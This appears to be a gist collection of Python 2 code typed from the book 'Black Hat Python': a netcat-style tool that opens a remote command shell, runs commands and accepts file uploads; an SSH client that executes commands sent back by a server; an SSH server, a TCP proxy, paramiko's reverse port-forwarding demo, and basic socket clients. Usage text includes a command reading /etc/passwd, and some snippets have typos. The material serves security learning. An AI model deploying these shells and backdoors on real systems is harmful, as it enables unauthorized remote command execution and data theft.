#Black Hat Python
Please read through the code and type out the examples yourself for muscle memory. These are example tools for the purpose of learning and practice.
Also, check out the book because it's really great!
#Black Hat Python
Please read through the code and type out the examples yourself for muscle memory. These are example tools for the purpose of learning and practice.
Also, check out the book because it's really great!
When using bhnet.py to send and receive shell etc. | |
IN terminal or cmd.exe shell,run our script like so: | |
localhost$ ./bnet.py -l -p 9999 -c | |
Now you can fire up another terminal or cmd.exe, and run script in client mode. Remember that our script is reading from | |
stdin and will do so until the EOF marker is received. To send EOF,hit CTRL-D on your keyboard: | |
localhost$ ./bhnet.py -t localhost -p 9999 | |
<CTRL-D> | |
localhost$ ls -la | |
localhost$pwd | |
We can also use our client to send out requests the good, old fashioned way: | |
localhost$ echno -ne "GET / HTTP/1.1\r\nHost; | |
www.google.com\r\n\r\n" | ./bnet | |
py -t www.google.com -p 80 |
import threading | |
import paramiko | |
import subprocess | |
def ssh_command(ip, user, passwd, command): | |
client=paramiko.SSHClient() | |
#client.load_host_keys('/home/justin/.ssh/known_hosts') | |
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
client.connect(ip, username=user, password=passwd) | |
ssh_session=client.get_transport().open_sesssion() | |
if ssh_session.active: | |
ssh_session.exec_command(command) | |
print ssh_session.recv(1024) | |
return | |
ssh_command('192.168.100.131','justin','lovesthepython','id') | |
# use with bh_sshserver.py | |
import threading | |
import paramiko | |
import subprocess | |
hostname = '127.0.0.1' | |
username = 'justin' | |
password = 'lovesthepython' | |
command = 'ClientConnected' | |
def ssh_command(ip, user, passwd, command): | |
client = paramiko.SSHClient() | |
# client.load_host_keys('~/.ssh/known_hosts') | |
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
client.connect(ip, username=user, password=passwd) | |
ssh_session = client.get_transport().open_session() | |
if ssh_session.active: | |
ssh_session.send(command) | |
print ssh_session.recv(1024) # receive banner | |
while True: | |
command = ssh_session.recv(1024) # get the command from the SSH server | |
try: | |
cmd_output = subprocess.check_output(command, shell=True) | |
ssh_session.send(cmd_output) | |
except Exception,e: | |
ssh_session.send(str(e)) | |
client.close() | |
return | |
ssh_command(hostname, username, password, command) |
#!/opt/local/bin/python2.7 | |
# Network client to send and receive files | |
import sys | |
import socket | |
import getopt | |
import threading | |
import subprocess | |
# define some global variables | |
listen = False | |
command = False | |
upload = False | |
execute = "" | |
target = "" | |
upload_destination = "" | |
port = 0 | |
# this runs a command and returns the output | |
def run_command(command): | |
# trim the newline | |
command = command.rstrip() | |
# run the command and get the output back | |
try: | |
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) | |
except: | |
output = "Failed to execute command.\r\n" | |
# send the output back to the client | |
return output | |
# this handles incoming client connections | |
def client_handler(client_socket): | |
global upload | |
global execute | |
global command | |
# check for upload | |
if len(upload_destination): | |
# read in all of the bytes and write to our destination | |
file_buffer = "" | |
# keep reading data until none is available | |
while True: | |
data = client_socket.recv(1024) | |
if not data: | |
break | |
else: | |
file_buffer += data | |
# now we take these bytes and try to write them out | |
try: | |
file_descriptor = open(upload_destination,"wb") | |
file_descriptor.write(file_buffer) | |
file_descriptor.close() | |
# acknowledge that we wrote the file out | |
client_socket.send("Successfully saved file to %s\r\n" % upload_destination) | |
except: | |
client_socket.send("Failed to save file to %s\r\n" % upload_destination) | |
# check for command execution | |
if len(execute): | |
# run the command | |
output = run_command(execute) | |
client_socket.send(output) | |
# now we go into another loop if a command shell was requested | |
if command: | |
while True: | |
# show a simple prompt | |
client_socket.send("<BHP:#> ") | |
# now we receive until we see a linefeed (enter key) | |
cmd_buffer = "" | |
while "\n" not in cmd_buffer: | |
cmd_buffer += client_socket.recv(1024) | |
# we have a valid command so execute it and send back the results | |
response = run_command(cmd_buffer) | |
# send back the response | |
client_socket.send(response) | |
# this is for incoming connections | |
def server_loop(): | |
global target | |
global port | |
# if no target is defined we listen on all interfaces | |
if not len(target): | |
target = "0.0.0.0" | |
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
server.bind((target,port)) | |
server.listen(5) | |
while True: | |
client_socket, addr = server.accept() | |
# spin off a thread to handle our new client | |
client_thread = threading.Thread(target=client_handler,args=(client_socket,)) | |
client_thread.start() | |
# if we don't listen we are a client....make it so. | |
def client_sender(buffer): | |
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
# connect to our target host | |
client.connect((target,port)) | |
# if we detect input from stdin send it | |
# if not we are going to wait for the user to punch some in | |
if len(buffer): | |
client.send(buffer) | |
while True: | |
# now wait for data back | |
recv_len = 1 | |
response = "" | |
while recv_len: | |
data = client.recv(4096) | |
recv_len = len(data) | |
response+= data | |
if recv_len < 4096: | |
break | |
print response, | |
# wait for more input | |
buffer = raw_input("") | |
buffer += "\n" | |
# send it off | |
client.send(buffer) | |
except: | |
# just catch generic errors - you can do your homework to beef this up | |
print "[*] Exception! Exiting." | |
# teardown the connection | |
client.close() | |
def usage(): | |
print "Netcat Replacement" | |
print "Usage: bhpnet.py -t target_host -p port" | |
print "-l --listen - listen on [host]:[port] for incoming connections" | |
print "-e --execute=file_to_run - execute the given file upon receiving a connection" | |
print "-c --command - initialize a command shell" | |
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" | |
print "Examples: " | |
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" | |
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" | |
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" | |
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" | |
sys.exit(0) | |
def main(): | |
global listen | |
global port | |
global execute | |
global command | |
global upload_destination | |
global target | |
if not len(sys.argv[1:]): | |
usage() | |
# read the commandline options | |
try: | |
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"]) | |
except getopt.GetoptError as err: | |
print str(err) | |
usage() | |
for o,a in opts: | |
if o in ("-h","--help"): | |
usage() | |
elif o in ("-l","--listen"): | |
listen = True | |
elif o in ("-e", "--execute"): | |
execute = a | |
elif o in ("-c", "--commandshell"): | |
command = True | |
elif o in ("-u", "--upload"): | |
upload_destination = a | |
elif o in ("-t", "--target"): | |
target = a | |
elif o in ("-p", "--port"): | |
port = int(a) | |
else: | |
assert False,"Unhandled Option" | |
# are we going to listen or just send data from stdin | |
if not listen and len(target) and port > 0: | |
# read in the buffer from the commandline | |
# this will block, so send CTRL-D if not sending input | |
# to stdin | |
buffer = sys.stdin.read() | |
# send data off | |
client_sender(buffer) | |
# we are going to listen and potentially | |
# upload things, execute commands and drop a shell back | |
# depending on our command line options above | |
if listen: | |
server_loop() | |
main() |
import socket | |
import paramiko | |
import threading | |
import sys | |
server = sys.argv[1] | |
ssh_port = int(sys.argv[2]) | |
# using the key from the Paramiko demo files | |
host_key = paramiko.RSAKey(filename='test.rsa') | |
class Server (paramiko.ServerInterface): | |
def _init_(self): | |
self.event = threading.Event() | |
def check_channel_request(self, kind, chanid): | |
if kind == 'session': | |
return paramiko.OPEN_SUCCEEDED | |
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED | |
def check_auth_password(self, username, password): | |
if (username == 'justin') and (password == 'lovesthepython'): | |
return paramiko.AUTH_SUCCESSFUL | |
return paramiko.AUTH_FAILED | |
try: | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock.bind((server, ssh_port)) | |
sock.listen(100) | |
print '[+] Listening for connection ...' | |
client, addr = sock.accept() | |
except Exception, e: | |
print '[-] Listen failed: ' + str(e) | |
sys.exit(1) | |
print '[+] Got a connection!' | |
try: | |
bhSession = paramiko.Transport(client) | |
bhSession.add_server_key(host_key) | |
server = Server() | |
try: | |
bhSession.start_server(server=server) | |
except paramiko.SSHException, x: | |
print '[-] SSH negotiation failed.' | |
chan = bhSession.accept(20) | |
print '[+] Authenticated!' | |
print chan.recv(1024) | |
chan.send('Welcome to bh_ssh') | |
while True: | |
try: | |
command = raw_input("Enter command: ").strip('\n') | |
if command != 'exit': | |
chan.send(command) | |
print chan.recv(1024) + '\n' | |
else: | |
chan.send('exit') | |
print 'exiting' | |
bhSession.close() | |
raise Exception ('exit') | |
except KeyboardInterrupt: | |
bhSession.close() | |
except Exception, e: | |
print '[-] Caught exception: ' + str(e) | |
try: | |
bhSession.close() | |
except: | |
pass | |
sys.exit(1) |
This code is taken fro Chapter 1-Mods included |
import socket | |
import threading | |
bind_ip = "0.0.0.0" | |
bind_port = 9999 | |
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
server.bind((bind_ip,bind_port)) | |
server.listen(5) | |
print "[*] Listening on %s:%d" % (bind_ip,bind_port) | |
# this is our client handling thread | |
def handle_client(client_socket): | |
# just print out what the client sends | |
request = client_socket.recv(1024) | |
print "[*] Received: %s" % request | |
# send back a packet | |
client_socket.send("ACK!") | |
print client_socket.getpeername() | |
client_socket.close() | |
while True: | |
client,addr = server.accept() | |
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1]) | |
# spin up our client thread to handle incoming data | |
client_handler = threading.Thread(target=handle_client,args=(client,)) | |
client_handler.start() | |
import sys | |
import socket | |
import threading | |
#used for midfying cvode sent to application | |
#can create test cases for fuzzers | |
# this is a pretty hex dumping function directly taken from | |
# http://code.activestate.com/recipes/142812-hex-dumper/ | |
def hexdump(src, length=16): | |
result = [] | |
digits = 4 if isinstance(src, unicode) else 2 | |
for i in xrange(0, len(src), length): | |
s = src[i:i+length] | |
hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s]) | |
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) | |
result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) ) | |
print b'\n'.join(result) | |
def receive_from(connection): | |
buffer = "" | |
# We set a 2 second time out depending on your | |
# target this may need to be adjusted | |
connection.settimeout(2) | |
try: | |
# keep reading into the buffer until there's no more data | |
# or we time out | |
while True: | |
data = connection.recv(4096) | |
if not data: | |
break | |
buffer += data | |
except: | |
pass | |
return buffer | |
# modify any requests destined for the remote host | |
def request_handler(buffer): | |
# perform packet modifications | |
return buffer | |
# modify any responses destined for the local host | |
def response_handler(buffer): | |
# perform packet modifications | |
return buffer | |
def proxy_handler(client_socket, remote_host, remote_port, receive_first): | |
# connect to the remote host | |
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
remote_socket.connect((remote_host,remote_port)) | |
# receive data from the remote end if necessary | |
if receive_first: | |
remote_buffer = receive_from(remote_socket) | |
hexdump(remote_buffer) | |
# send it to our response handler | |
remote_buffer = response_handler(remote_buffer) | |
# if we have data to send to our local client send it | |
if len(remote_buffer): | |
print "[<==] Sending %d bytes to localhost." % len(remote_buffer) | |
client_socket.send(remote_buffer) | |
# now let's loop and reading from local, send to remote, send to local | |
# rinse wash repeat | |
while True: | |
# read from local host | |
local_buffer = receive_from(client_socket) | |
if len(local_buffer): | |
print "[==>] Received %d bytes from localhost." % len(local_buffer) | |
hexdump(local_buffer) | |
# send it to our request handler | |
local_buffer = request_handler(local_buffer) | |
# send off the data to the remote host | |
remote_socket.send(local_buffer) | |
print "[==>] Sent to remote." | |
# receive back the response | |
remote_buffer = receive_from(remote_socket) | |
if len(remote_buffer): | |
print "[<==] Received %d bytes from remote." % len(remote_buffer) | |
hexdump(remote_buffer) | |
# send to our response handler | |
remote_buffer = response_handler(remote_buffer) | |
# send the response to the local socket | |
client_socket.send(remote_buffer) | |
print "[<==] Sent to localhost." | |
# if no more data on either side close the connections | |
if not len(local_buffer) or not len(remote_buffer): | |
client_socket.close() | |
remote_socket.close() | |
print "[*] No more data. Closing connections." | |
break | |
def server_loop(local_host,local_port,remote_host,remote_port,receive_first): | |
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
server.bind((local_host,local_port)) | |
except: | |
print "[!!] Failed to listen on %s:%d" % (local_host,local_port) | |
print "[!!] Check for other listening sockets or correct permissions." | |
sys.exit(0) | |
print "[*] Listening on %s:%d" % (local_host,local_port) | |
server.listen(5) | |
while True: | |
client_socket, addr = server.accept() | |
# print out the local connection information | |
print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]) | |
# start a thread to talk to the remote host | |
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) | |
proxy_thread.start() | |
def main(): | |
# no fancy command line parsing here | |
if len(sys.argv[1:]) != 5: | |
print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]" | |
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True" | |
sys.exit(0) | |
# setup local listening parameters | |
local_host = sys.argv[1] | |
local_port = int(sys.argv[2]) | |
# setup remote target | |
remote_host = sys.argv[3] | |
remote_port = int(sys.argv[4]) | |
# this tells our proxy to connect and receive data | |
# before sending to the remote host | |
receive_first = sys.argv[5] | |
if "True" in receive_first: | |
receive_first = True | |
else: | |
receive_first = False | |
# now spin up our listening socket | |
server_loop(local_host,local_port,remote_host,remote_port,receive_first) | |
main() |
#!/usr/bin/env python | |
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com> | |
# | |
# This file is part of paramiko. | |
# | |
# Paramiko is free software; you can redistribute it and/or modify it under the | |
# terms of the GNU Lesser General Public License as published by the Free | |
# Software Foundation; either version 2.1 of the License, or (at your option) | |
# any later version. | |
# | |
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY | |
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR | |
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more | |
# details. | |
# | |
# You should have received a copy of the GNU Lesser General Public License | |
# along with Paramiko; if not, write to the Free Software Foundation, Inc., | |
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. | |
""" | |
Sample script showing how to do remote port forwarding over paramiko. | |
This script connects to the requested SSH server and sets up remote port | |
forwarding (the openssh -R option) from a remote port through a tunneled | |
connection to a destination reachable from the local machine. | |
""" | |
import getpass | |
import os | |
import socket | |
import select | |
import sys | |
import threading | |
from optparse import OptionParser | |
import paramiko | |
SSH_PORT = 22 | |
DEFAULT_PORT = 4000 | |
g_verbose = True | |
def handler(chan, host, port): | |
sock = socket.socket() | |
try: | |
sock.connect((host, port)) | |
except Exception as e: | |
verbose('Forwarding request to %s:%d failed: %r' % (host, port, e)) | |
return | |
verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, | |
chan.getpeername(), (host, port))) | |
while True: | |
r, w, x = select.select([sock, chan], [], []) | |
if sock in r: | |
data = sock.recv(1024) | |
if len(data) == 0: | |
break | |
chan.send(data) | |
if chan in r: | |
data = chan.recv(1024) | |
if len(data) == 0: | |
break | |
sock.send(data) | |
chan.close() | |
sock.close() | |
verbose('Tunnel closed from %r' % (chan.origin_addr,)) | |
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): | |
transport.request_port_forward('', server_port) | |
while True: | |
chan = transport.accept(1000) | |
if chan is None: | |
continue | |
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port)) | |
thr.setDaemon(True) | |
thr.start() | |
def verbose(s): | |
if g_verbose: | |
print(s) | |
HELP = """\ | |
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A | |
port on the SSH server (given with -p) is forwarded across an SSH session | |
back to the local machine, and out to a remote site reachable from this | |
network. This is similar to the openssh -R option. | |
""" | |
def get_host_port(spec, default_port): | |
"parse 'hostname:22' into a host and port, with the port optional" | |
args = (spec.split(':', 1) + [default_port])[:2] | |
args[1] = int(args[1]) | |
return args[0], args[1] | |
def parse_options(): | |
global g_verbose | |
parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]', | |
version='%prog 1.0', description=HELP) | |
parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True, | |
help='squelch all informational output') | |
parser.add_option('-p', '--remote-port', action='store', type='int', dest='port', | |
default=DEFAULT_PORT, | |
help='port on server to forward (default: %d)' % DEFAULT_PORT) | |
parser.add_option('-u', '--user', action='store', type='string', dest='user', | |
default=getpass.getuser(), | |
help='username for SSH authentication (default: %s)' % getpass.getuser()) | |
parser.add_option('-K', '--key', action='store', type='string', dest='keyfile', | |
default=None, | |
help='private key file to use for SSH authentication') | |
parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True, | |
help='don\'t look for or use a private key file') | |
parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False, | |
help='read password (for key or password auth) from stdin') | |
parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port', | |
help='remote host and port to forward to') | |
options, args = parser.parse_args() | |
if len(args) != 1: | |
parser.error('Incorrect number of arguments.') | |
if options.remote is None: | |
parser.error('Remote address required (-r).') | |
g_verbose = options.verbose | |
server_host, server_port = get_host_port(args[0], SSH_PORT) | |
remote_host, remote_port = get_host_port(options.remote, SSH_PORT) | |
return options, (server_host, server_port), (remote_host, remote_port) | |
def main(): | |
options, server, remote = parse_options() | |
password = None | |
if options.readpass: | |
password = getpass.getpass('Enter SSH password: ') | |
client = paramiko.SSHClient() | |
client.load_system_host_keys() | |
client.set_missing_host_key_policy(paramiko.WarningPolicy()) | |
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1])) | |
try: | |
client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, | |
look_for_keys=options.look_for_keys, password=password) | |
except Exception as e: | |
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e)) | |
sys.exit(1) | |
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1])) | |
try: | |
reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport()) | |
except KeyboardInterrupt: | |
print('C-c: Port forwarding stopped.') | |
sys.exit(0) | |
if __name__ == '__main__': | |
main() |
We will run rforward.py from our Windows sustem and configure it to be midlle man as we tunnel traffic from a | |
web server to our Kali ssh server. | |
C:\tmp\demos>rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:8080 | |
--user justin --password |
Install Paramike using pip installer | |
http://www.paramiko.org | |
C:\temp>python bh_sshcmd.python |
import socket | |
target_host="www.google.com" | |
target_port=80 | |
#create a socket object | |
client=socket.socket(socket.AF_INTER,socket.SOCK_STREAM) | |
#connect the client | |
client.connect((target_host,target_port)) | |
#send some data | |
client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") | |
#receive some data | |
reponse=client.recv(4096) | |
print response | |
# TCP Server | |
# standard multi threaded TCP server | |
import socket | |
import threading | |
bind_ip = "0.0.0.0" | |
bind_port = 9999 | |
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
server.bind((bind_ip,bind_port)) | |
server.listen(5) | |
print "[*] Listening on %s:%d" % (bind_ip,bind_port) | |
# this is our client handling thread | |
def handle_client(client_socket): | |
# just print out what the client sends | |
request = client_socket.recv(1024) | |
print "[*] Received: %s" % request | |
# send back a packet | |
client_socket.send("ACK!") | |
print client_socket.getpeername() | |
client_socket.close() | |
while True: | |
client,addr = server.accept() | |
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1]) | |
# spin up our client thread to handle incoming data | |
client_handler = threading.Thread(target=handle_client,args=(client,)) | |
client_handler.start() |
import socket | |
target_host="127.0.0.1" | |
target_port=80 | |
#create a socket object | |
client=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
# send some data | |
client.sendto("AAABBBCCC",(target_host,target_port)) | |
#receive some data | |
data,addr=client.recvfrom(4096) | |
print data |